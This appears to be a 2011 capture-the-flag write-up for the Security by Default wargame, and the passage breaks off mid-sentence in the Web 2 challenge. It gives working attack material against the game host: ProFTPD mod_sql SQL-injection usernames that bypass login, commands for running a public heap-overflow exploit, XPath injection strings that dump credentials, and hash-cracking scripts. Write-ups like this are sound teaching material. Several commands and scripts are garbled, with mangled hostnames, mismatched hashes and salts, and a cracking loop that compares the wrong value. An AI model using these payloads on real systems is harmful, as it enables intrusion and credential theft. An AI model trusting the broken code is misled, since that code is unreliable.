SbD Wargame 2011 write-up

by int3pids (dreyer, kachakil, nullsub, romansoft, uri, whats)

Feb 8th, 2011
# Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CONTENTS</td>
<td>2</td>
</tr>
<tr>
<td>INTRO</td>
<td>3</td>
</tr>
<tr>
<td>TRIVIA 1</td>
<td>5</td>
</tr>
<tr>
<td>TRIVIA 2</td>
<td>7</td>
</tr>
<tr>
<td>TRIVIA 3</td>
<td>9</td>
</tr>
<tr>
<td>NETWORKING 1</td>
<td>11</td>
</tr>
<tr>
<td>NETWORKING 2</td>
<td>15</td>
</tr>
<tr>
<td>NETWORKING 3</td>
<td>17</td>
</tr>
<tr>
<td>WEB 1</td>
<td>29</td>
</tr>
<tr>
<td>WEB 2</td>
<td>36</td>
</tr>
<tr>
<td>WEB 3</td>
<td>43</td>
</tr>
<tr>
<td>BINARIES 1</td>
<td>46</td>
</tr>
<tr>
<td>BINARIES 2</td>
<td>51</td>
</tr>
<tr>
<td>BINARIES 3</td>
<td>61</td>
</tr>
<tr>
<td>CRYPTO 1</td>
<td>68</td>
</tr>
<tr>
<td>CRYPTO 2</td>
<td>70</td>
</tr>
<tr>
<td>CRYPTO 3</td>
<td>76</td>
</tr>
<tr>
<td>CONTACT US</td>
<td>79</td>
</tr>
<tr>
<td>CONCLUSIONS &amp; ACKNOWLEDGEMENTS</td>
<td>80</td>
</tr>
</tbody>
</table>
Intro

On past 15th January of 2011, the first “Security by Default” wargame took place. It was an online competition with challenges divided in five categories: Trivia, Networking, Web, Binaries and Cryptography.

As in other wargames, each challenge had a different score giving more points for solving harder challenges than easier ones. A not so common rule in this game was that the first team to solve a challenge would win some extra points. This rule makes sense when a wargame have an ending date but in this case it hadn’t so... what were the extra points used for?

However, we finally solved the wargame before anyone, even winning most extra points (as you can see in the ranking -look for medal icons-) and making no doubt to worry about :-).
Now... let's the magic begin... (and hope you enjoy this write-up!)
Trivia 1

Score
100

Description

How many posts are there in SecurityByDefault blog until 31/12/2010?

Solution

This is very simple and straightforward. We only have to browse to the main page of SecurityByDefault blog: http://www.securitybydefault.com/

You have the solution at the right column (marked in red):
Let's zoom in:

![Archivos]

So we only have to add each year’s number of posts:
356 + 379 + 162

*Token*

897
Trivia 2

Score
100

Description

How many published comments are there in SecurityByDefault blog until 31/12/2010?

Solution

If the RSS feed for comments were enabled in this blog, maybe the fastest way to solve this task would be using this feed, but it is (and was) disabled. The idea is pretty simple: the number of comments in each post is shown at the end of every post, just before the comments section, so we only have to sum all these numbers together.

Of course you can do it by hand (there were 897 posts “only”), but we hope you have better things to do, so we will explain the way we did to automate this task. First, we used a download manager to save all the posts in HTML files, opening in our browser the trees of 2008, 2009 and 2010, including all their months, and then using the option “Download all with FlashGet” (http://www.flashget.com).

Once we have all the files downloaded, we can iterate over them and locate the exact position of the number of comments by searching for the next HTML block:

```html
<div class='comments' id='comments'>
<a name='comments'></a>
<h4>12 comentarios:
</h4>
</div>
```

http://www.securitybydefault.com/2009/05/01/obtener-torcer-de-virtualbox-iii-de-actividad/

[Screen shot of a website with a comment section and HTML code highlighted]

Seguridad en ActiveX

Lea más sobre las vulnerabilidades...

Apoya a OpenRisec en las Sourcforge Community Ch..
In our case, we used this VB.net code:

```vbnet
Dim comments As Integer = 0
For Each file In IO.Directory.GetFiles("C:\SbD_Posts\")
    Try
        Dim post As String = IO.File.ReadAllText(file)
        Dim i As Integer = post.IndexOf("div class='comments' id='comments'")
        Dim fragment As String = post.Substring(i + 65)
        comments += CInt(fragment.Substring(0, fragment.IndexOf("coment") - 1))
    Catch ex As Exception
    End Try
Next
```

The total amount of comments was 4765 but this was a wrong answer. Then we thought that the last day (31/12/2010) probably has to be excluded because of the word “until” so we subtracted the number of comments of the post of that day and tried with this new number, being the right one: 4765 – 10 = **4755**.

Anyway, after the game was closed, we counted all the comments checking their date instead of the one of the posts. They were 12 comments of 2011 in these posts, so we confirmed that the interpretation of the question must be done as we did.

**Token**

4755
Trivia 3

Score
100

Description
Which is the title of the most commented post in SecurityByDefault blog until 31/12/2010?

Solution
We solved and scored this challenge in less than a couple of minutes because it was easier than the previous one. In fact, we only have to locate the maximum value, adding some lines to the same code we used for Trivia 2:

```vba
Dim comments As Integer = 0
Dim maxComments As Integer = 0
Dim mostCommented as String

For Each file In IO.Directory.GetFiles("C:\SbD_Posts\")
    Try
        Dim post As String = IO.File.ReadAllText(file)
        Dim i As Integer = post.IndexOf("div class='comments'
  id='comments'"
        Dim fragment As String = post.Substring(i + 65)
        comments = CInt(fragment.Substring(0, fragment.IndexOf("comment") - 1))
        If comments > maxComments Then
            maxComments = comments
            mostCommented = file
        End If
    Catch ex As Exception
    End Try
Next
```

The answer was "Gana 5 entradas para Campus Party", with 88 comments. It should not surprise us considering that you had a chance to win a free ticket for the Campus Party in Valencia if you left a comment in that post... ;-)
Token

Gana 5 entradas para Campus Party
Networking 1

Score
100

Description

- connect to me 1234
- concatenate; is; so; useful

Solution

We connect to port 1234 following the tips section:

```bash
$ telnet wargame.securitybydefault.com 1234
Trying 178.33.113.36...
Connected to wargame.securitybydefault.com.
Escape character is '^]'.
Welcome to Basic Router
--------------------------
1- Login
2- New user
3- Exit
-> 1
```

There we try to log in using many default passwords ([http://www.phenoelit-us.org/dpl/dpl.html](http://www.phenoelit-us.org/dpl/dpl.html)) with no luck. We also try to insert special characters like ",", ",", ",", ",", etc. No luck either. Other attempts which don’t work:

```
$(echo 1)
`echo 1`
```

... Nothing to do here, so we create a new user:

```bash
Welcome to Basic Router
--------------------------
1- Login
2- New user
3- Exit
-> 2
User: int3pids
Password: kk
User written, please reconnect.
Connection closed by foreign host.
```

We reconnect and have a look to the menu. It seems some kind of home router.
We notice that there should be a “guest” account and indeed we can log in with user “guest”, password “guest”. But it’s a wrong path (perhaps other contestant created that account) so we re-log into our “int3pids” account (which is nicer! ;-))

By adding different characters to the menu number, we always get an “Incorrect option” response... But we find the following strange behaviour with “;”:

So “1;” is not giving error. Then we try different strings like:
1;ls
1;id
1;sleep 10

Bad luck again.
But the second tip is there: “concatenate; is; so; useful”. We decide to keep on trying with other menu choices until we eventually reach:

```
1- General status
2- Connection status
3- Security config
4- System dates
5- Access logs
6- Exit.
   --> 4: Date

<table>
<thead>
<tr>
<th>System dates</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last config reset: 2009-11-09 09:10:08</td>
</tr>
<tr>
<td>Actual date: Sat Jan 22 16:56:01 +0000 2011</td>
</tr>
<tr>
<td>logconnectionstxt</td>
</tr>
<tr>
<td>users.db</td>
</tr>
<tr>
<td>busybox.bin</td>
</tr>
<tr>
<td>passwdfile</td>
</tr>
<tr>
<td>6c23c6e2974bce8739019b6970a54813</td>
</tr>
</tbody>
</table>
```

Yes!! Next step is pretty obvious:

```
1- General status
2- Connection status
3- Security config
4- System dates
5- Access logs
6- Exit.
   --> 4: Date passwdfile

<table>
<thead>
<tr>
<th>System dates</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last config reset: 2009-11-09 09:10:08</td>
</tr>
<tr>
<td>Actual date: Sat Jan 22 16:56:21 +0000 2011</td>
</tr>
<tr>
<td>admin:07362e59e1b1c041be124c0f2e205832752e1a1f134d</td>
</tr>
</tbody>
</table>
```

We got a type-7 Cisco password. There are tons of online decoders but we prefer to use the one embedded in Cain (http://www.oxid.it/cain.html):

![Cisco Type-7 Password Decoder](image)
Token

You really need a life.
Networking 2

Score
150

Description

- City of Spain.
- FF: wrong value byte
- mysql-net02.pcap
- new hint! mysql salt is: 31337000DEADCAFE313370313370313370313370 WOAAH!

Solution

We can open the PCAP file with Wireshark to spot a successful connection to a MySQL server. The authentication challenge begins in the fourth packet, in which we can see the salt bytes sent by the server. Then the client sends its username and the hashed password using the salt value received from the server.

The easiest way we found to crack this password was to process the file directly from Cain (http://www.oxid.it/cain.html), so all the useful data will appear in the passwords tab of this tool. We can send it to the cracker tab, in which we will perform a dictionary attack over it by using the “MySQL SHA1 Hashes + challenge” option.

User: debian-sys-maint
Salt: 31337001deadcafe313370313370313370313370
Hash: cfe6593db4f38d03457f532bf3031074854ff

But first we have to read the tips carefully because they are telling us that the “FF” value is wrong. This tampered value is in the last byte of the password hash and for that reason we have to assume it as invalid. In order to find the actual value, we will have to try with all the 256 possible values instead of this one.

Cain stores all the MySQL captured hashes sent to the cracker in a text file named “MySQLHashes.lst”, whose format is easy to deduce. Each line contains a group of values separated by tabs, matching the column names of the user interface, so we will only have to generate a file with the same format with 256 lines, changing the last byte of the hash (ranging from 00 to FF) and keeping the rest as is.
On the other hand, we have to find or build a wordlist with cities of Spain. The list of provinces of Spain will be enough but we lost some hours trying other listings with hundreds of cities mixed with numbers and casing variations before the hint with the correct salt was published. We don’t know why the fourth byte was suddenly changed from 01 to 00 - it seems to be a “little” mistake which makes the challenge unsolvable - but the organization fortunately corrected it right on time and then we could solve it quickly.

User: debian-sys-maint
Salt: 313700deadcafe31370313370313370313370
Hash: cfe6593db4f38d03457e97f532bf30310748546a
Pass: Toledo

Token
Toledo
Networking 3

Score
200

Description
- 2213:udp,3325:tcp,44XX:XXp
- open sesame!

Solution

Given the tips and taking into account that this is a networking challenge, it is pretty obvious we should perform port-knocking. There are many port-knocking tools out there but the “OPEN SESAME” string is quite peculiar and Google quickly leads us to “Knockd”:

(http://www.zeroflux.org/projects/knock)

knockd - a port-knocking server

SYNOPSIS
knockd [options]

DESCRIPTION
knockd is a port-knocking server. It listens to all traffic on an Ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open - since knockd listens at the link-layer level, it sees all traffic even if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access.

Debian includes a "knockd" package which contains both client and server components. We will only use “knock” binary (the client).

Some brute force is needed in order to spot the right port-knocking sequence (we should fill in the XX:XX in “2213:udp,3325:tcp,44XX:XXp”) but it is not difficult if you know what you are looking for. In this case, we have an extra tip in the introduction page of this challenge:
We conclude that we should look for FTP service (SSH added just in case):

```
roman@oetzi: ~ seq -f %02d 0 99 | while read line; do echo $line; /knock wargame.security@hydeDefault.com 2215;udp 3325;tcp 44;eline3;ude; sleep 1; map wargame.security@hydeDefault.com -p 21,22; done
```

Starting Nmap 4.62 (http://nmap.org) at 2011-01-22 21:15 CET
Interesting ports on 178.33-113-98.kimsufi.com (178.33-113-98):  
PORT   STATE SERVICE  
21/tcp filtered ftp  
22/tcp filtered ssh  
Nmap done: 1 IP address (1 host up) scanned in 1.302 seconds

Starting Nmap 4.62 (http://nmap.org) at 2011-01-22 21:15 CET
Interesting ports on 178.33-113-98.kimsufi.com (178.33-113-98):  
PORT   STATE SERVICE  
21/tcp filtered ftp  
22/tcp filtered ssh  
Nmap done: 1 IP address (1 host up) scanned in 1.291 seconds

...
Right! “39” (UDP) did the trick (we saved from trying TCP). Now a time-limited window is open where port 21 is reachable (only from our IP address, of course). To defeat time limit, we open a new shell where we will refresh our time-window from time to time (10 secs, e.g.):

```bash
roman@hetzer:~$ while true ; do knock wargame.securitybydefault.com 2213:udp 3305 ; tcp 4439:udp ; sleep 10 ; done
```

Now let’s focus on FTP exploitation. First, we should analyze FTP version:

```bash
roman@hetzer:~$ # ftp wargame.securitybydefault.com
Connected to wargame.securitybydefault.com.
220 ProFTPD 1.3.2rc2 Server (d) (178.33.113.36)
Name (wargame.securitybydefault.com:roman):
```

We check SecurityFocus database and we get four possible vulnerabilities. We discard two of them (related to TLS/SSL bypass but useless to get access into the system –if we don’t have any victim to sniff-).
So we have two possible paths now:

- mod_sql remote heap overflow (BID: 44933)
- mod_sql username SQL injection (BID: 33722)

We begin analyzing first one: remote heap overflow. It is described in depth (believe us!) in latest Phrack magazine (issue 67), in an excellent article written by FelineMenace (kudos to him!).

The article includes exploit code at the end of it so we grab it, decode it ("uudecode <article>") and try it. Soon we notice the exploit has some kind of "anti-script-kiddie" protection. In order to fix it we have to:

- Remove or comment a line. Diff:
  - y = 0/0
  + #y = 0/0

- Modify a function call. Diff:
  - self.test_cache()
  + self.test_cache(target)

May be it contains some more tricks but we created shellcode.bin and shellcode2.bin and blindly launched it trying different variations:

```
./proftpd.py -m offsets -t 1 wargame.securitybydefault.com
./proftpd.py -m offsets -t 2 wargame.securitybydefault.com
./proftpd.py -m bruteforce -t 1 wargame.securitybydefault.com
./proftpd.py -m bruteforce -t 2 wargame.securitybydefault.com
```
Instead of dedicating more time to this complex exploit, we decide to switch into the other path: username SQL injection. So here we go...

We read the following ProFTPD bug report: (http://bugs.proftpd.org/show_bug.cgi?id=3180)

“The flaw lies inside the variable substitution feature of mod_sql.

For example if a user types in %l as part of the username, mod_sql replaces that with his ip address before it executes the SQL query. A user can exploit this feature to bypass the protection of the sql_escapestring function:

The sql_escapestring correctly replaces ' with \ to prevent SQL injection. But if the user enters %' as part of his username, which gets transformed to %\' by the escape function, mod_sql tries to substitute the variable. As %\ is an unknown variable it get's transformed to \{UNKNOWN TAG}\' - thus leaving the quote intact and allowing injection of arbitrary sql code.”

Even we find exploit code (http://www.exploit-db.com/exploits/8037/):

If we try the exploit, FTP daemon crashes and our client connection gets closed:

So it seems it’s vulnerable! But now we should exploit it properly.

We assume that daemon is crashing because SQL sentence is incorrect. First step will be to get injection to work without getting an invalid SQL sentence. We get this behaviour by issuing “%') #” as username.
We can successfully use other strings like “%') -- ” (please, notice the space character at the end: it will not work if you remove it!).

Let’s build an exploit “similar” to public one:

User: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users #
Pass: 1

At this point, we check a lot of possibilities and think that:
- perhaps there are many users and only one is valid:
  %') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 0,1#
  %') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1#
  %') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 2,1#
  ...
- we could use a “virtual” user (non-existent in database). For instance, this would be uid=1000, gid=1000, home=/, shell=/bin/sh:
  %') and 1=2 union select 1,1,1000,1000,0x2f,0x2f62696e2f7368#
- to be sure whether it’s a MySQL database (yes, it is!):
  %') and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41, 1)#
  %') and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41, 0)#

But we still fail to bypass authentication.

A time-based blind SQL injection exploitation is feasible (but horribly slow).

We can also try error-based blind SQL injection since you have different conditions:
- true (FTP is not crashing)
  %') and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41, 1)#
- false (FTP is crashing)
  %') and 1=2 union select 1,1,1000,1000,0x2f,31337 REGEXP repeat(0x41, 0)#
(former trick is described in detail in Reiners’ blog: 

But there should be another (and easy) way to solve this so we go backwards. Why doesn’t this exploit work?

User: %’) and 1=2 union select 1,uid,gid,homedir,shell from users #
Pass: 1

Ok, we are assuming password is stored in clear-text in database! Now let’s assume the password is saved in MD5:

User: %’) and 1=2 union select 1,md5(1),uid,gid,homedir,shell from users #
Pass: 1

Still no luck:

Since we know it’s a MySQL database, perhaps it is using password() function:

User: %’) and 1=2 union select 1,password(1),uid,gid,homedir,shell from users #
Pass: 1

It works!!!! 😊 Please also note that it is necessary to switch into passive mode.
We download both files (file.rar and file.txt). RAR file is encrypted and .txt tells us:

This time, check cities of China :-)

We begin to build a new dictionary, this time with Chinese cities. It’s a matter of Googling and parsing. For instance:

```
$ wget http://www.mongabay.com/igapo/China.htm -o /dev/null -O - | cut -d '->' -f7 | cut -d '"' -f1 | grep -v '^$' > cities
```

```
$ wget http://chinadataonline.org/member/city/city_md.asp -o /dev/null -O - | grep '"TD"' | cut -d '->' -f2 | cut -d ',' -f1 > cities2
```

Then start a RAR cracker (for instance, Elcomsoft “Advanced Archive Password Recovery") and begin cracking.

Cracking doesn’t yield a good result. When we are fed up of cracking and building tons of dictionaries... we think of giving up!

Oh, no, impossible! Perhaps we missed something. So we go backwards and...

We have just discovered a .bash_history file! (remember: Unix files beginning with “.” are “hidden” files so we have to issue a “ls -la” to deal
with it). We should fix permissions in order to download the file (luckily FTP is allowing SITE commands so we can "chmod" files).

Let’s see whether or not sysadmin packed/unpacked RAR file recently:

```
rar@netalpha:~ $ grep rar .trash_history
rar a -F"fUCKYeah File.rar file.pcap`
```

Right! Password was there (sysadmin encrypted both file data and headers with –hp parameter)! And it was not a Chinese city. It was a nasty trap! 😁.

Now we can unrar “file.rar” and extract “file.pcap”. The adventure continues...

We open .pcap file with Wireshark. It contains two PostgreSQL handshakings.

First one is a failed connection attempt:

![Frame 1](164 bytes on wire, 164 bytes captured)
- Ethernet: 11, Src: 00:00:00:00:00:00:00 (00:00:00:00:00:00:00:00), Dst: 00:00:00:00:00:00:00:00 (00:00:00:00:00:00:00:00)
- Internet Protocol, Src IP: 127.0.0.1, Dst IP: 127.0.0.1, Seq: 26, Ack: 0

- PostgreSQL
  - Type: Error
  - Length: 97
  - Severity: FATAL
  - Code: 28000
  - Message: (password authentication failed for user "postgres")
    - File: auth.c
    - Line: 27
    - Routine: auth_failed

Second one is ok, so we will focus on it:
The successful handshaking is like this:

- frame 23: >
  
  Type: Startup message
  Length: 41
  user: postgres
  database: postgres

- frame 24: <
  
  Type: Authentication request
  Length: 12
  Authentication type: MD5 password (5)
  Salt value: 0E1DA2D1

- frame 25: >
  
  Type: Password message
  Length: 40
  Password: md56fcd671f668c3c8efca3303f6f41bd17

- frame 27: <
  
  Type: Authentication request
  Length: 8
  Authentication type: Success (0)

There are many web pages in Internet describing how to defeat PostgreSQL hashes (http://pentestmonkey.net/blog/cracking-postgres-hashes/) but all of them are referring to the hash stored in database (“pg_shadow” table), which is different from the one in the handshaking.
We must do some research to guess how the hash in the handshake is built.

Best way is to use our own PSQL test-bed with a known user/pass and then perform a little reversing on it. If we set up such scenario (don’t forget to disable SSL by adding “ssl = false” in /etc/postgresql/8.4/main/postgresql.conf –Ubuntu’s path-) and then sniff a connection to database, we can get all we need to begin reversing:

- database: mibbdd
- user: roman
- password: mipass
- sniffed md5: d482ac5bae733dc2e2a81e7b720ae35e
- sniffed salt: 9d616da3
- stored (database) md5: 893adbf362314463a2d906f8bb55eecb

```
pg> select usename, passwd from pg_shadow;
usename | passwd
---------+-------------------------------------
postgres | roman    | md5893adbf362314463a2d906f8bb55eecb
(2 filas)
```

Stored md5 is always MD5(password+user). Let’s check it:

```
roman@hetzer:~$ echo -n mipassroman | md5sum
7a69c6a069ed2d488700a4e254902be
```

Ok, we knew that (any PSQL cracking page will tell us). What about the sniffed hash and salt? We will try different ideas:

- **MD5(stored md5 + salt):**

```
roman@hetzer:~$ echo -n 893adbf362314463a2d906f8bb55ee6c9d616da3 | md5sum
```

Fail.

- **MD5(stored raw md5 + raw salt):**

```
roman@hetzer:~$ printf "\x89\x3a\xDB\xBF\x62\x31\x44\x63\xa2\x06\xBF\x0B\x96\xEE\xCB\x9D\x61\x6D\xa3" | md5sum
```

Fail.

- **MD5(raw salt + stored raw md5):**

```
roman@hetzer:~$ printf "\x89\x3a\xDB\xBF\x62\x31\x44\x63\xa2\x06\xBF\x0B\x96\xEE\xCB\x9D\x61\x6D\xa3" | md5sum
```

Fail.
• MD5(stored md5 + raw salt):

```
roman@netzer:*# printf \"893aabf362314463a2d906f8bb55ee9b\xe9d\xe6lxed\xe3\" | md5sum

d462ac354a733dc2e2a81e7b720ae35e
```

Bingo!!!!!! It matches sniffed md5 hash!!

Conclusion:

```
sniffed md5 = MD5( MD5(password + user) + raw salt)
```

Back to the .pcap capture, we have:

- database: postgres
- user: postgres
- password: ? (this is what we want to guess)
- sniffed md5: 6fcd671f668c3c8efca3308f6f41bd17
- sniffed salt: 0e5da2d1
- stored (database) md5: ? (we should calculate it)

Finally, we code a quick-and-dirty cracking script implementing the attack and we will feed it with the Chinese dictionaries we built formerly:

```
roman@netzer:*# cat pgcrack.sh
#!/bin/bash

USER="postgres"
MD5="6fcd671f668c3c8efca3308f6f41bd17"
SALT="\x0e\x5d\xa2\xda1"

while read password ; do
    tmpmd5="printf \"\$password\$USER\" | md5sum | cut -d \" -f1"
    tmpsalt="printf \"\$tmpmd5\$SALT\" | nc5sum | cut -d \" -f1"
    if [ "$MD5" = "$tmpmd5" ] ; then
        echo "FOUND: $password"
    fi
done < "dic"

roman@netzer:*# ln -s cities dic
roman@netzer:*# ./pgcrack.sh
FOUND: Jixi
```

Token

Jixi
Web 1

Score
100

Description

In this challenge we had a QRCode-like image, an input form and a text counting the “number of valid responses”.

We were intended to solve 666 QR codes in less than 20 minutes and send the resulting keys to solve the challenge.

Solution

The first thing that we tried was to process the QR image but without luck because it didn’t return any information. This QRCode had no data blocks.

Opening the image with gimp and looking at their properties, we realized that there were three colors in the color palette but looking at the image we saw only two: black and white. In the palette, there were two entries
with almost the same value [RGB(255,255,255) and RGB(254,254,254)] making part of the image invisible.

Once we noticed that, we changed the third color into black making visible the hidden data blocks.

![QR Code](qr.png)

After that, we were able to extract the text from it using this command in the QRCODE library.

```
$ java -classpath qrcode/classes
eample.QRCodeDecoderCUIExample qr.png
```

The obtained text was like this:

```plaintext
sQN 1NL0N2 LXMN R1: zNHGANMAzMDCNOzFCMAOACDFONFHKKOG
[Success] qr.png
Processed 1 images in 601ms (601 images/sec)
OK: 1 NG: 0
```

In this example if we use Caesar cipher to rotate 28 times each char, we get the next string:

The secret code is: 0e871ed10d43ef063d1f1346fe688bf7

Submitting this code, we got this message:

Great! You have 20:00 mins...
Number of valid responses: [1]

Then we started to automate all the process to solve same problem a lot of times in 20 minutes. To do it we made some pieces of software.
A script to rotate the string N times to find the correct rotation and extract the key:

```
#!/usr/bin/python

import sys

alph = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

def rotN(data, n):
    total = []
    for char in data:
        if char == ' ' or char == ':':
            total.append(char)
        else:
            index = (alph.find(char) + n) % len(alph)
            total.append(alph[index])
    return ''.join(total)

for i in range(0, len(alph)):
    print "%s" % (rotN(sys.argv[1], i))
```

A program using libpng to modify the palette of a png file and leave it with only two colors:

```
#include <png.h>
#include <stdio.h>
#include <stdlib.h>

#define ERROR -1

png_bytep *row_pointers_ptr;
int height, width, color_type, bit_depth;
int num_palette;
png_colorp palette;

void initPngData(char *filename) {
    /*
     * Open and check file
     */
    FILE *fp = fopen(filename, "rb");
    if (!fp) {
        printf("Can't open file %s\n", filename);
        exit (ERROR);
    }
    char header[8];
    fread(header, 1, 8, fp);
    int is_png = !png_sig_cmp(header, 0, 8);
    if (!is_png) {
        printf("File %s is not a PNG file!\n", filename);
        exit (ERROR);
    }
```
/*
 * Init data structures
 */

png_structp png_ptr =
  png_create_read_struct(PNG_LIBPNG_VER_STRING, (png_voidp)NULL,
                     NULL, NULL);
  if (!png_ptr) {
    printf("Error!\n");
    exit (ERROR);
  }

  png_infop info_ptr = png_create_info_struct(png_ptr);
  if (!info_ptr) {
    png_destroy_read_struct(&png_ptr, (png_infopp)NULL,
                    (png_infopp)NULL);
    printf("Error!\n");
    exit (ERROR);
  }

  png_infop end_info = png_create_info_struct(png_ptr);
  if (!end_info) {
    png_destroy_read_struct(&png_ptr, &info_ptr,
                    (png_infopp)NULL);
    printf("Error!\n");
    exit (ERROR);
  }

  if (setjmp(png_jmpbuf(png_ptr))) {
    png_destroy_read_struct(&png_ptr, &info_ptr, &end_info);
    fclose(fp);
    printf("Error!\n");
    exit (ERROR);
  }

/*
 * Init IO and read data 
 */

  png_init_io(png_ptr, fp);
  png_set_sig_bytes(png_ptr, 8);
  png_read_info(png_ptr, info_ptr);

  // size
  height = png_get_image_height(png_ptr, info_ptr);
  width = png_get_image_width(png_ptr, info_ptr);
  int rowbytes = png_get_rowbytes(png_ptr, info_ptr);
  printf("Reading %s\n", filename);
  printf("Height: %d, Width: %d, Bytes per row: %d\n", height,
         width, rowbytes);

  // colors
  png_get_PLTE(png_ptr, info_ptr, &palette, &num_palette);
  printf("Palette colors: %d\n", num_palette);
  num_palette = 2;
  color_type = png_get_color_type(png_ptr, info_ptr);
  bit_depth = png_get_bit_depth(png_ptr, info_ptr);

  row_pointers_ptr = (png_bytep *) malloc(height *
      sizeof(png_byte));
  int i;
  for (i = 0; i < height; i++) {
row_pointers_ptr[i] = malloc(rowbytes);
}

png_read_image(png_ptr, row_pointers_ptr);

fclose(fp);
}

void writePng(char *filename) {
FILE *fp = fopen(filename, "wb");

if (!fp) {
    printf("Can't open file %s for write\n", filename);
    exit (ERROR);
}

png_structp png_ptr =
    png_create_write_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);

if (!png_ptr){
    printf("Error!\n");
    exit (ERROR);
}

png_info p info_ptr = png_create_info_struct(png_ptr);
if (!info_ptr){
    printf("Error!\n");
    exit (ERROR);
}

if(setjmp(png_jmpbuf(png_ptr))){
    printf("Error!\n");
    exit (ERROR);
}

printf("Setting new palette with %d colors\n", num_palette);
png_set_PLTE(png_ptr, info_ptr, palette, num_palette);
png_init_io(png_ptr, fp);

if(setjmp(png_jmpbuf(png_ptr))){
    printf("Error!\n");
    exit (ERROR);
}

png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth, 
color_type, PNG_INTERLACE_NONE, PNG_COMPRESSION_TYPE_BASE, 
PNG_FILTER_TYPE_BASE);
png_write_info(png_ptr, info_ptr);
if(setjmp(png_jmpbuf(png_ptr))){
    printf("Error!\n");
    exit (ERROR);
}

png_write_image(png_ptr, row_pointers_ptr);
if(setjmp(png_jmpbuf(png_ptr))){
    printf("Error!\n");
    exit (ERROR);
}

png_write_end(png_ptr, NULL);

int y;
for (y = 0; y < height; y++)
    free(row_pointers_ptr[y]);
free(row_pointers_ptr);

fclose(fp);
}

int main(int argc, char *argv[])
{
    char buffer[256];
    if (argc != 2) {
        printf("Usage: %s file.png
", argv[0]);
        exit(ERROR);
    }

    initPngData(argv[1]);
bzero(buffer, 256);
snprintf(buffer, 256, "%s.CLEAN.png", argv[1]);
writePng(buffer);
printf("Writed %s\n", buffer);

    return 0;
}

And the main script:

#!/bin/bash

# This was needed to fill the qrcode with a key
curl -b cookies.txt -c cookies.txt http://wargame.securitybydefault.com/c9aacda5cc531fd3493d903c57c
d534b/ &> /dev/null

# Download the image file
curl -b cookies.txt -c cookies.txt http://wargame.securitybydefault.com/c9aacda5cc531fd3493d903c57c
d534b/imagen.php 2> /dev/null > qr.png

# Generate a png with a visible QR
./png qr.png

# Solve the QR
java -classpath qrcode/classes example.QRCodeDecoderCUIExample qr.png.CLEAN.png
str=$($java -classpath qrcode/classes example.QRCodeDecoderCUIExample qr.png.CLEAN.png 2>&1 | head -n 1)

# Apply a rotation algorithm and select the correct one to get the key
key=$($rotN.py "$str" | grep The | cut -d ':' -f 2 | cut -d ' ' -f 2)

# Submit the key
curl -b cookies.txt -c cookies.txt http://wargame.securitybydefault.com/c9aacda5cc531fd3493d903c57c
d534b/?response=$key 2> /dev/null
You can download all these files from [here](http://www.wekk.net/research/2011-01-15 (sbdwg)/web100.tar.gz).

Once we had these scripts, we started submitting keys but we were not so fast because once we got more than 500 valid responses, time were over and this message appeared:

Your time is over, start again...
Number of valid responses: [0]

Starting it again in a computer with a faster internet connection let us reach the devil number of valid responses (a total of 666 were needed) and then this message appeared:

Great!: TOKEN: ^(o)(o)^

Funny challenge!

**Token**

^^(o)(o)^^
Web 2

Score
150

Description

- access to my blog!

Solution

In this challenge we can see a login form (username and password), which can be easily bypassed by injecting this string in both fields (notice the double quotes):  " or "=''"

Don’t get confused by the tags at the bottom of the page (ASP.NET, PostgreSQL, PHP and MySQL) because we are dealing with XPath, not SQL. For example, the “or” operator in XPath must be lowercase, or it will throw a syntax error.

In 2004, Amit Klein released a very interesting paper called “Blind XPath injection” in which describes a technique to extract automatically the whole XML source being queried by the XPath engine. We already had a tool implementing this simple but very effective technique from previous wargames, so we only have to booleanize the query and run the application. The booleanization is trivial:  " or (expression) or "123"="
After some minutes sending requests to the server, we got the entire contents of the XML file involved with the login page:

```xml
<?xml version="1.0" encoding="utf-8"?>
<blog>
  <general>
    <titulo>Just my first blog</titulo>
    <subtitulo>priv8 posting with mai friendz, since 2011!</subtitulo>
    <autor>Who knows...</autor>
  </general>
  <usuarios>
    <usuario>
      <nombre>SbD</nombre>
      <login>administrator</login>
      <pass>_w3r0ckz_</pass>
    </usuario>
  </usuarios>
</blog>

Unfortunately, the administrator's password is not the token of the challenge, so we will have to keep on looking for it somewhere else...

Once we have bypassed the login page, we can access the private blog, whose contents don't appear in our previous XML file. The "id" parameter of the "postz.php" page is also vulnerable to XPath injection, so we can extract the contents using the same technique, with another trivial booleanization: 2" and (expression) and ""="

```xml
<?xml version="1.0" encoding="utf-8"?>
<posts>
  <post id="1">
    <id>1</id>
    <titulo>first post!</titulo>
    <cuerpo>lets test this m****otherfuckyysing cms w000&amp;lt;br/&gt;other line woowoooooo</cuerpo>
    <autor>r0lfo</autor>
    <fecha>2011-01-03</fecha>
  </post>
  <post id="2">
    <id>2</id>
    <titulo>test test</titulo>
    <cuerpo>hey h4x0verride1 here 2 bring no1ze whataaaap. &lt;br/&gt;thx r0lfo for th3 account here</cuerpo>
    <autor>h4x0verride1</autor>
    <fecha>2011-01-04</fecha>
  </post>
  <post id="3">
    <id>3</id>
    <titulo>this cms sux</titulo>
    <cuerpo>its nice but sux0r a lot, need more complex plugins and shitz</cuerpo>
    <autor>h4x0verride1</autor>
    <fecha>2011-01-07</fecha>
</posts>
```
Notice that the technique described by Amit Klein can extract even the “hidden” comments and processing instructions, and we see an interesting one at the end of this file. This comment finally led us to append the directory “/Wordpress/” to the URL, in which we saw a lot of files and directories of a Wordpress standard installation.

We load the following URL in our favourite browser:

